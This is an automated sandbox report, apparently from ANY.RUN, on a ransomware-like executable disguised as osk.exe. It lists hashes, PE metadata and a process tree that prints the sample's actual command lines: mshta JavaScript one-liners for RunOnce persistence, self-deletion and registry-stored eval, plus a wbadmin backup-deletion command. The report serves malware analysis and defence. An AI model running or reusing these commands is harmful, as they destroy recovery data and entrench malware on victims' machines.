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File name:

osk.exe

Full analysis: https://app.any.run/tasks/943c2f25-4531-4697-97b2-c3fc1ea8bf3a
Verdict: Malicious activity
Analysis date: August 25, 2019, 11:37:05
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
MD5:

CC74E57FA7575573E12255A4EF6D77E3

SHA1:

EA4C747239A8ACCBCE0577DAF0FEF5DC5A08C347

SHA256:

24ED6EE6C21B01723299773311912048F6A4A782DE9496C6E479C22D6FCEB085

SSDEEP:

12288:0TThU1r81aG6rUf6Q3tFioQw88t3hb1kQCLNXfZC6aJzJ:iTtEdi6StIwZb1gyz

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Deletes shadow copies

      • cmd.exe (PID: 3932)
      • cmd.exe (PID: 3388)

    • Starts BCDEDIT.EXE to disable recovery

      • cmd.exe (PID: 2692)

    • Changes the autorun value in the registry

      • mshta.exe (PID: 2604)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • osk.exe (PID: 3488)
      • osk.exe (PID: 3664)
      • mshta.exe (PID: 2748)

    • Creates files in the user directory

      • cmd.exe (PID: 2720)
      • cmd.exe (PID: 3588)

    • Executable content was dropped or overwritten

      • cmd.exe (PID: 3588)
      • cmd.exe (PID: 2720)

    • Application launched itself

      • osk.exe (PID: 3488)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • osk.exe (PID: 3664)
      • osk.exe (PID: 2124)

    • Starts itself from another location

      • osk.exe (PID: 3664)

    • Executed as Windows Service

      • vssvc.exe (PID: 3376)

    • Creates files in the program directory

      • osk.exe (PID: 2124)

  • INFO

    • Reads internet explorer settings

      • mshta.exe (PID: 2604)
      • mshta.exe (PID: 2748)
      • mshta.exe (PID: 1804)

    • Dropped object may contain Bitcoin addresses

      • osk.exe (PID: 2124)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (28.6)
.exe | UPX compressed Win32 Executable (28)
.exe | Win32 EXE Yoda's Crypter (27.5)
.dll | Win32 Dynamic Link Library (generic) (6.8)
.exe | Win32 Executable (generic) (4.6)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2018:06:18 23:39:15+02:00
PEType: PE32
LinkerVersion: 9
CodeSize: 479232
InitializedDataSize: 32768
UninitializedDataSize: 851968
EntryPoint: 0x145980
OSVersion: 5
ImageVersion: -
SubsystemVersion: 5
Subsystem: Windows GUI
FileVersionNumber: 5.9.2.4
ProductVersionNumber: 5.9.2.4
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Windows NT 32-bit
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Unicode
LegalTrademarks: (C) 2007-2015 DataArt
Languages: English
OriginalFileName: Where Million
Comments: Persn Shorten
InternalName: Where Million
FileVersion: 5.9.2.4
CompanyName: DataArt
FileDescription: Persn Shorten
PrivateBuild: 5.9.2.4
LegalCopyright: (C) 2007-2015 DataArt
ProductName: Where Million
ProductVersion: 5.9.2.4

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 18-Jun-2018 21:39:15
Detected languages:
  • English - United States
LegalTrademarks: (C) 2007-2015 DataArt
Languages: English
OriginalFilename: Where Million
Comments: Persn Shorten
InternalName: Where Million
FileVersion: 5.9.2.4
CompanyName: DataArt
FileDescription: Persn Shorten
PrivateBuild: 5.9.2.4
LegalCopyright: (C) 2007-2015 DataArt
ProductName: Where Million
ProductVersion: 5.9.2.4

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x000000F0

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 3
Time date stamp: 18-Jun-2018 21:39:15
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
UPX0
0x00001000
0x000D0000
0x00000000
IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
0
UPX1
0x000D1000
0x00075000
0x00074C00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
7.9138
.rsrc
0x00146000
0x00008000
0x00008000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
5.59734

Resources

Title
Entropy
Size
Codepage
Language
Type
1
4.96915
501
Latin 1 / Western European
English - United States
RT_MANIFEST
2
7.8669
16936
Latin 1 / Western European
English - United States
RT_ICON
3
7.68147
3752
Latin 1 / Western European
English - United States
RT_ICON
4
7.7722
2216
Latin 1 / Western European
English - United States
RT_ICON
5
7.659
2440
Latin 1 / Western European
English - United States
RT_ICON
6
7.53782
1128
Latin 1 / Western European
English - United States
RT_ICON
101
2.94877
90
Latin 1 / Western European
English - United States
RT_GROUP_ICON
184
7.81356
4128
Latin 1 / Western European
English - United States
RT_STRING
185
6.56935
200
Latin 1 / Western European
English - United States
RT_STRING
186
7.604
1980
Latin 1 / Western European
English - United States
RT_STRING

Imports

ADVAPI32.dll
AVIFIL32.dll
COMCTL32.dll
COMDLG32.dll
GDI32.dll
KERNEL32.DLL
MSIMG32.dll
MSVFW32.dll
NETAPI32.dll
NTDSAPI.dll
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
63
Monitored processes
19
Malicious processes
7
Suspicious processes
0

Behavior graph

Click at the process to see the details
start osk.exe cmd.exe osk.exe cmd.exe osk.exe mshta.exe no specs mshta.exe mshta.exe no specs cmd.exe no specs wbadmin.exe no specs cmd.exe no specs wmic.exe no specs cmd.exe no specs vssadmin.exe no specs cmd.exe no specs vssvc.exe no specs bcdedit.exe no specs cmd.exe no specs bcdedit.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3488"C:\Users\admin\AppData\Local\Temp\osk.exe" C:\Users\admin\AppData\Local\Temp\osk.exe
explorer.exe
User:
admin
Company:
DataArt
Integrity Level:
MEDIUM
Description:
Persn Shorten
Exit code:
0
Version:
5.9.2.4
3588"C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\admin\AppData\Local\Temp\osk.exe" "C:\Users\admin\AppData\Roaming\osk.exe"C:\Windows\system32\cmd.exe
osk.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3664"C:\Users\admin\AppData\Local\Temp\osk.exe" runasC:\Users\admin\AppData\Local\Temp\osk.exe
osk.exe
User:
admin
Company:
DataArt
Integrity Level:
HIGH
Description:
Persn Shorten
Exit code:
0
Version:
5.9.2.4
2720"C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\admin\AppData\Local\Temp\osk.exe" "C:\Users\admin\AppData\Roaming\osk.exe"C:\Windows\system32\cmd.exe
osk.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2124"C:\Users\admin\AppData\Roaming\osk.exe" C:\Users\admin\AppData\Roaming\osk.exe
osk.exe
User:
admin
Company:
DataArt
Integrity Level:
HIGH
Description:
Persn Shorten
Version:
5.9.2.4
1804mshta.exe "javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('osk.exe');close()}catch(e){}},10);"C:\Windows\system32\mshta.exe—osk.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
2604mshta.exe "javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\OYTfqa',i);}catch(e){}},10);"C:\Windows\system32\mshta.exe
osk.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft (R) HTML Application host
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
2748mshta.exe "javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\NIFQW\\P[YUR'));close();"C:\Windows\system32\mshta.exe—osk.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
892"C:\Windows\System32\cmd.exe" /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0C:\Windows\System32\cmd.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
4294967293
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3336wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0C:\Windows\system32\wbadmin.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Command Line Interface for Microsoft® BLB Backup
Exit code:
4294967293
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
16 761
Read events
14 989
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
762
Text files
215
Unknown types
60

Dropped files

PID
Process
Filename
Type
2124osk.exeC:\Program Files\Adobe\Acrobat Reader DC\я —
MD5:—
SHA256:—
2124osk.exeC:\Program Files\Adobe\Acrobat Reader DC\Benioku.htm —
MD5:—
SHA256:—
2124osk.exeC:\Program Files\Adobe\Acrobat Reader DC\Berime.htm —
MD5:—
SHA256:—
2124osk.exeC:\Program Files\Adobe\Acrobat Reader DC\IrakHau.htm —
MD5:—
SHA256:—
2124osk.exeC:\Program Files\Adobe\Acrobat Reader DC\Leame.htm —
MD5:—
SHA256:—
2124osk.exeC:\Program Files\Adobe\Acrobat Reader DC\LeesMij.htm —
MD5:—
SHA256:—
2124osk.exeC:\Program Files\Adobe\Acrobat Reader DC\Leggimi.htm —
MD5:—
SHA256:—
2124osk.exeC:\Program Files\Adobe\Acrobat Reader DC\LeiaMe.htm —
MD5:—
SHA256:—
2124osk.exeC:\Program Files\Adobe\Acrobat Reader DC\Liesmich.htm —
MD5:—
SHA256:—
2124osk.exeC:\Program Files\Adobe\Acrobat Reader DC\Lisezmoi.htm —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
0
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

No data

DNS requests

No data

Threats

No threats detected
Process
Message
osk.exe
Warning: no document names in string for template #128.
osk.exe
Warning: no document names in string for template #128.
osk.exe
Warning: no document names in string for template #128.
osk.exe
Warning: no document names in string for template #128.
osk.exe
Warning: no document names in string for template #128.
osk.exe
Warning: no document names in string for template #128.
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Reports
osk.exe